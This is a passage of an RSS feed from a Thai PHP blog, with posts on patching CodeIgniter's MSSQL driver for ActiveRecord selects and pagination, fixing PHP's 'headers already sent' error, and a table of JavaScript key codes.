		<description><![CDATA[เริ่มเอา Codeigniter ที่เป็น PHP Framework มาใช้งาน เนื่องจาก Learning Curve ต่ำๆ ของมัน ทำให้พอถูๆไถๆ ไปกับเค้าได้ แต่ผมว่ามันไม่ค่อย Smooth กับ MSSQL เอาเสียเลย เพราะ แม้ว่า Version ล่าสุดจะออกมาแล้วก็ตามยังไม่สามารถแก้ปัญหา การใช้ ActiveRecord กับ MSSQL ในการ Select ข้อมูลได้เลย สำหรับคนที่ีมีปัญหาเหมือนกัน ผมไปค้นเจอที่ Forum เลยเอามา Post ไ้ว้ จากที่นี่ $this->obj->db->select($filed_result); $this>obj>db>where($filed_get,$keyword); $query = $this>obj->db->get($table_get); ถ้า Select แบบนี้ละก็ Error อย่างไม่ทราบสาเหตุทันที ทั้งๆ ที่ Query ถูก ให้ไปแก้ไข database/drivers/mssql/mssql_driver.php บรรทัดที่ 461 จาก [...]]]></description>
			<content:encoded><![CDATA[<p>เริ่มเอา Codeigniter ที่เป็น PHP Framework มาใช้งาน เนื่องจาก Learning Curve ต่ำๆ ของมัน ทำให้พอถูๆไถๆ ไปกับเค้าได้ แต่ผมว่ามันไม่ค่อย Smooth กับ MSSQL เอาเสียเลย เพราะ แม้ว่า Version ล่าสุดจะออกมาแล้วก็ตามยังไม่สามารถแก้ปัญหา การใช้ ActiveRecord กับ MSSQL ในการ Select ข้อมูลได้เลย สำหรับคนที่ีมีปัญหาเหมือนกัน ผมไปค้นเจอที่ Forum เลยเอามา Post ไ้ว้ จากที่นี่</p>
<pre lang="php">$this->obj->db->select($filed_result);
$this>obj>db>where($filed_get,$keyword);
$query = $this>obj->db->get($table_get);</pre>
<p>ถ้า Select แบบนี้ละก็ Error อย่างไม่ทราบสาเหตุทันที ทั้งๆ ที่ Query ถูก ให้ไปแก้ไข database/drivers/mssql/mssql_driver.php <strong>บรรทัดที่ 461</strong> จาก</p>
<pre lang="php">$item = preg_replace('/(^'.$lbound.')([\w\d\-\_]+?)(\s|\)|$)/iS', '$1"$2"$3', $item);</pre>
<p>เป็น</p>
<pre lang="php">$item = preg_replace('/(^'.$lbound.')([\w\d\-\_]+?)(\s|\)|$)/iS', '$1$2$3', $item);</pre>
<p>บรรทัดที่ 466 จาก</p>
<pre lang="php">return "\"{$item}\"";</pre>
<p>เป็น</p>
<pre lang="php">return "{$item}";</pre>
<p>ก็จะสามารถใช้งาน Activerecord ใน mssql ได้ครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/programming/php/codeigniter-activerecord-%e0%b8%81%e0%b8%b1%e0%b8%9a-mssql-%e0%b9%81%e0%b8%a5%e0%b9%89%e0%b8%a7-error/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ใช้ Pagination ใน Codeigniter กับ MSSQL</title>
		<link>http://www.nop.in.th/programming/php/pagination-with-codeigniter/</link>
		<comments>http://www.nop.in.th/programming/php/pagination-with-codeigniter/#comments</comments>
		<pubDate>Tue, 06 May 2008 12:15:18 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[codeigniter]]></category>
		<category><![CDATA[pagination]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=257</guid>
		<description><![CDATA[ใช้ Pagination ใน Codeigniter กับ ฐานข้อมูล Microsoft SQL (MSSQL) คือผมได้มีโอกาศลองใช้ Codeigniter กับ การเขียน โปรแกรมเรียกดูข้อมูลง่ายๆ จาก MSSQL แต่ติดปัญหาเรื่องการแบ่งหน้าด้วย Pagination ลองค้นๆ ดูใน Forum เค้าให้ไปแก้ไฟล์ \system\database\drivers\mssql\mssql_driver.php ตรงบรรทัด function _limit($sql, $limit, $offset) ให้เป็นแบบนี้ function _limit($sql, $limit, $offset) { // Horrible solucion =) //$i = $limit + $offset; //return preg_replace(&#8216;/(^\SELECT (DISTINCT)?)/i&#8217;,'\\1 TOP &#8216;.$i.&#8217; &#8216;, $sql); $cursorName = &#8216;mi_cursor_&#8217;.md5(strtolower($sql)); $sql = [...]]]></description>
			<content:encoded><![CDATA[<p>ใช้ Pagination ใน Codeigniter กับ ฐานข้อมูล Microsoft SQL (MSSQL)</p>
<p>คือผมได้มีโอกาศลองใช้ Codeigniter กับ การเขียน โปรแกรมเรียกดูข้อมูลง่ายๆ จาก MSSQL แต่ติดปัญหาเรื่องการแบ่งหน้าด้วย Pagination ลองค้นๆ ดูใน Forum เค้าให้ไปแก้ไฟล์</p>
<p>\system\database\drivers\mssql\mssql_driver.php</p>
<p>ตรงบรรทัด function _limit($sql, $limit, $offset) ให้เป็นแบบนี้</p>
<p>function _limit($sql, $limit, $offset)<br />
{<br />
// Horrible solucion =)<br />
//$i = $limit + $offset;<br />
//return preg_replace(&#8216;/(^\SELECT (DISTINCT)?)/i&#8217;,'\\1 TOP &#8216;.$i.&#8217; &#8216;, $sql);<br />
$cursorName = &#8216;mi_cursor_&#8217;.md5(strtolower($sql));<br />
$sql = &#8220;DECLARE &#8220;.$cursorName.&#8221; CURSOR DYNAMIC READ_ONLY FOR<br />
&#8220;.$sql.&#8221;<br />
OPEN &#8220;.$cursorName.&#8221;<br />
DECLARE @CURSOR AS INT<br />
SELECT @CURSOR = CURSOR_HANDLE FROM MASTER.DBO.SYSCURSORS<br />
WHERE CURSOR_NAME = &#8216;&#8221;.$cursorName.&#8221;&#8216;<br />
EXEC SP_CURSORFETCH @CURSOR, 32, &#8220;.($offset+1).&#8221;, &#8220;.$limit.&#8221;<br />
EXEC SP_CURSORCLOSE @CURSOR&#8221;;<br />
return $sql;<br />
}</p>
<p>ก็จะหายครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/programming/php/pagination-with-codeigniter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cannot modify header information &#8211; headers already sent</title>
		<link>http://www.nop.in.th/programming/php/cannot-modify-header-information-headers-already-sent/</link>
		<comments>http://www.nop.in.th/programming/php/cannot-modify-header-information-headers-already-sent/#comments</comments>
		<pubDate>Fri, 18 Jan 2008 04:05:03 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=228</guid>
		<description><![CDATA[PHP มัน Error แบบนี้ Cannot modify header information &#8211; headers already sent แก้ยังไง มันมี 2 ทางแก้ครับ 1. แก้ที่ php.ini โดย แก้ บรรทัดที่ output_buffering จาก Off ให้เป็น On ซะoutput_buffering = On 2. override config ของ php ด้วย codeโดย ใส่ ob_start(); ไว้บนสุดของ Page ครับ]]></description>
			<content:encoded><![CDATA[<p>PHP มัน Error แบบนี้ </p>
<p><b>Cannot modify header information &#8211; headers already sent</b></p>
<p>แก้ยังไง</p>
<p><b>มันมี 2 ทางแก้ครับ </b></p>
<p><b>1. แก้ที่ php.ini </b><br />โดย แก้ บรรทัดที่ output_buffering จาก Off ให้เป็น On ซะ<br />output_buffering = On </p>
<p><b>2. override config ของ php ด้วย code</b><br />โดย ใส่ ob_start(); ไว้บนสุดของ Page ครับ </p>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/programming/php/cannot-modify-header-information-headers-already-sent/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Key Pressed Javascript Key Code</title>
		<link>http://www.nop.in.th/programming/javascript/key-pressed-javascript-key-code/</link>
		<comments>http://www.nop.in.th/programming/javascript/key-pressed-javascript-key-code/#comments</comments>
		<pubDate>Thu, 16 Aug 2007 11:43:15 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=179</guid>
		<description><![CDATA[พอเราต้องเขียน JavaScript มากๆ เข้าก็มีความจำเป็นในการต้องติดต่อ Interactive กับ Keyboard เพื่อการใช้งานในการอำนวยความสะดวกกับ User มากขึ้น คราวนี้ เวลาเราต้องการเขียน ดัก KeyCode เพื่อดัก Keyboard จำเป็นต้อง รู้รหัสของ Keyboard ไปค้นหาดูในเวบ ได้มาเลยเอามาเก็บไว้ ว่าจะเขียนเป็น JavaScript Keyboard Layout เก็บไว้เลย ตอนนี้เป็น Text ไปก่อนแล้วกัน  :oops:  Key Pressed Javascript Key Code backspace 8 tab 9 enter 13 shift 16 ctrl 17 alt 18 pause/break 19 caps lock 20 escape 27 page up [...]]]></description>
			<content:encoded><![CDATA[<p><img vspace="4" align="left" src="http://www.nop.in.th/wp-content/uploads/2007/08/oled_keyboard200.jpg" hspace="4" alt="Oled Keyboard" title="Oled Keyboard" />พอเราต้องเขียน JavaScript มากๆ เข้าก็มีความจำเป็นในการต้องติดต่อ Interactive กับ Keyboard เพื่อการใช้งานในการอำนวยความสะดวกกับ User มากขึ้น คราวนี้ เวลาเราต้องการเขียน ดัก KeyCode เพื่อดัก Keyboard จำเป็นต้อง รู้รหัสของ Keyboard ไปค้นหาดูในเวบ ได้มาเลยเอามาเก็บไว้</p>
<p>ว่าจะเขียนเป็น JavaScript Keyboard Layout เก็บไว้เลย ตอนนี้เป็น Text ไปก่อนแล้วกัน  :oops: </p>
<p><span id="more-112"></span></p>
<table border="1" cellPadding="2" cellSpacing="5" id="TABLE2">
<tr style="color: white; background-color: dimgray">
<td>Key Pressed</td>
<td>Javascript Key Code</td>
</tr>
<tr>
<td>backspace</td>
<td>8</td>
</tr>
<tr>
<td>tab</td>
<td>9</td>
</tr>
<tr>
<td>enter</td>
<td>13</td>
</tr>
<tr>
<td>shift</td>
<td>16</td>
</tr>
<tr>
<td>ctrl</td>
<td>17</td>
</tr>
<tr>
<td>alt</td>
<td>18</td>
</tr>
<tr>
<td>pause/break</td>
<td>19</td>
</tr>
<tr>
<td>caps lock</td>
<td>20</td>
</tr>
<tr>
<td>escape</td>
<td>27</td>
</tr>
<tr>
<td>page up</td>
<td>33</td>
</tr>
<tr>
<td>page down</td>
<td>34</td>
</tr>
<tr>
<td>end</td>
<td>35</td>
</tr>
<tr>
<td>home</td>
<td>36</td>
</tr>
<tr>
<td>left arrow</td>
<td>37</td>
</tr>
<tr>
<td>up arrow</td>
<td>38</td>
</tr>
<tr>
<td>right arrow</td>
<td>39</td>
</tr>
<tr>
<td>down arrow</td>
<td>40</td>
</tr>
<tr>
<td>insert</td>
<td>45</td>
</tr>
<tr>
<td>delete</td>
<td>46</td>
</tr>
<tr>
<td>0</td>
<td>48</td>
</tr>
<tr>
<td>1</td>
<td>49</td>
</tr>
<tr>
<td>2</td>
<td>50</td>
</tr>
<tr>
<td>3</td>
<td>51</td>
</tr>
<tr>
<td>4</td>
<td>52</td>
</tr>
<tr>
<td>5</td>
<td>53</td>
</tr>
<tr>
<td>6</td>
<td>54</td>
</tr>
<tr>
<td>7</td>
<td>55</td>
</tr>
<tr>
<td>8</td>
<td>56</td>
</tr>
<tr>
<td>9</td>
<td>57</td>
</tr>
<tr>
<td>a</td>
<td>65</td>
</tr>
<tr>
<td>b</td>
<td>66</td>
</tr>
<tr>
<td>c</td>
<td>67</td>
</tr>
<tr>
<td>d</td>
<td>68</td>
</tr>
<tr>
<td>e</td>
<td>69</td>
</tr>
<tr>
<td>f</td>
<td>70</td>
</tr>
<tr>
<td>g</td>
<td>71</td>
</tr>
<tr>
<td>h</td>
<td>72</td>
</tr>
<tr>
<td>i</td>
<td>73</td>
</tr>
<tr>
<td>j</td>
<td>74</td>
</tr>
<tr>
<td>k</td>
<td>75</td>
</tr>
<tr>
<td>l</td>
<td>76</td>
</tr>
<tr>
<td>m</td>
<td>77</td>
</tr>
<tr>
<td>n</td>
<td>78</td>
</tr>
<tr>
<td>o</td>
<td>79</td>
</tr>
<tr>
<td>p</td>
<td>80</td>
</tr>
<tr>
<td>q</td>
<td>81</td>
</tr>
<tr>
<td>r</td>
<td>82</td>
</tr>
<tr>
<td>s</td>
<td>83</td>
</tr>
<tr>
<td>t</td>
<td>84</td>
</tr>
<tr>
<td>u</td>
<td>85</td>
</tr>
<tr>
<td>v</td>
<td>86</td>
</tr>
<tr>
<td>w</td>
<td>87</td>
</tr>
<tr>
<td>x</td>
<td>88</td>
</tr>
<tr>
<td>y</td>
<td>89</td>
</tr>
<tr>
<td>z</td>
<td>90</td>
</tr>
<tr>
<td>left window key</td>
<td>91</td>
</tr>
<tr>
<td>right window key</td>
<td>92</td>
</tr>
<tr>
<td>select key</td>
<td>93</td>
</tr>
<tr>
<td>numpad 0</td>
<td>96</td>
</tr>
<tr>
<td>numpad 1</td>
<td>97</td>
</tr>
<tr>
<td>numpad 2</td>
<td>98</td>
</tr>
<tr>
<td>numpad 3</td>
<td>99</td>
</tr>
<tr>
<td>numpad 4</td>
<td>100</td>
</tr>
<tr>
<td>numpad 5</td>
<td>101</td>
</tr>
<tr>
<td>numpad 6</td>
<td>102</td>
</tr>
<tr>
<td>numpad 7</td>
<td>103</td>
</tr>
<tr>
<td>numpad 8</td>
<td>104</td>
</tr>
<tr>
<td>numpad 9</td>
<td>105</td>
</tr>
<tr>
<td>multiply</td>
<td>106</td>
</tr>
<tr>
<td>add</td>
<td>107</td>
</tr>
<tr>
<td>subtract</td>
<td>109</td>
</tr>
<tr>
<td>decimal point</td>
<td>110</td>
</tr>
<tr>
<td>divide</td>
<td>111</td>
</tr>
<tr>
<td>f1</td>
<td>112</td>
</tr>
<tr>
<td>f2</td>
<td>113</td>
</tr>
<tr>
<td>f3</td>
<td>114</td>
</tr>
<tr>
<td>f4</td>
<td>115</td>
</tr>
<tr>
<td>f5</td>
<td>116</td>
</tr>
<tr>
<td>f6</td>
<td>117</td>
</tr>
<tr>
<td>f7</td>
<td>118</td>
</tr>
<tr>
<td>f8</td>
<td>119</td>
</tr>
<tr>
<td>f9</td>
<td>120</td>
</tr>
<tr>
<td>f10</td>
<td>121</td>
</tr>
<tr>
<td>f11</td>
<td>122</td>
</tr>
<tr>
<td>f12</td>
<td>123</td>
</tr>
<tr>
<td>num lock</td>
<td>144</td>
</tr>
<tr>
<td>scroll lock</td>
<td>145</td>
</tr>
<tr>
<td>semi-colon</td>
<td>186</td>
</tr>
<tr>
<td>equal sign</td>
<td>187</td>
</tr>
<tr>
<td>comma</td>
<td>188</td>
</tr>
<tr>
<td>dash</td>
<td>189</td>
</tr>
<tr>
<td>period</td>
<td>190</td>
</tr>
<tr>
<td>forward slash</td>
<td>191</td>
</tr>
<tr>
<td>grave accent</td>
<td>192</td>
</tr>
<tr>
<td>open bracket</td>
<td>219</td>
</tr>
<tr>
<td>back slash</td>
<td>220</td>
</tr>
<tr>
<td>close braket</td>
<td>221</td>
</tr>
<tr>
<td>single quote</td>
<td>222</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
</table>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/programming/javascript/key-pressed-javascript-key-code/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

